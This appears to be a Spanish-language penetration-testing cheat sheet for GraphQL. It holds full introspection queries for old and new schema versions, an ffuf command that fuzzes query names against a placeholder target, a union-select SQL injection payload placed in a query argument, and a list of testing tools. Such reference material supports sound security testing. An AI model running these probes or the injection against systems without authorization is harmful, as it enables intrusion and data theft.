GraphQL
Introspección
Versiones antiguas
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation
onFragment
onField
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Versiones modernas
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
locations
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Fuzzing
Queries
ffuf -u http://<target>/graphql -w <wordlist.txt>:FUZZ -X POST -d "{\"query\":\"query {FUZZ}\"}" -H "Authorization: Bearer <token>" -H "Content-Type: application/json" -c -mc all -fr "Cannot query" -o ffuf-fuzzing-graphql-queries.html -of html
SQL injection (SQLi)
{"query": "{example(id: \"-1 union select 1,2,3\"){id,name,description}}"}
Herramientas
GraphQLmap
graphqlmap.py -u <target>/graphql
InQL
GraphQL Voyager
Altair GraphQL Client
Última actualización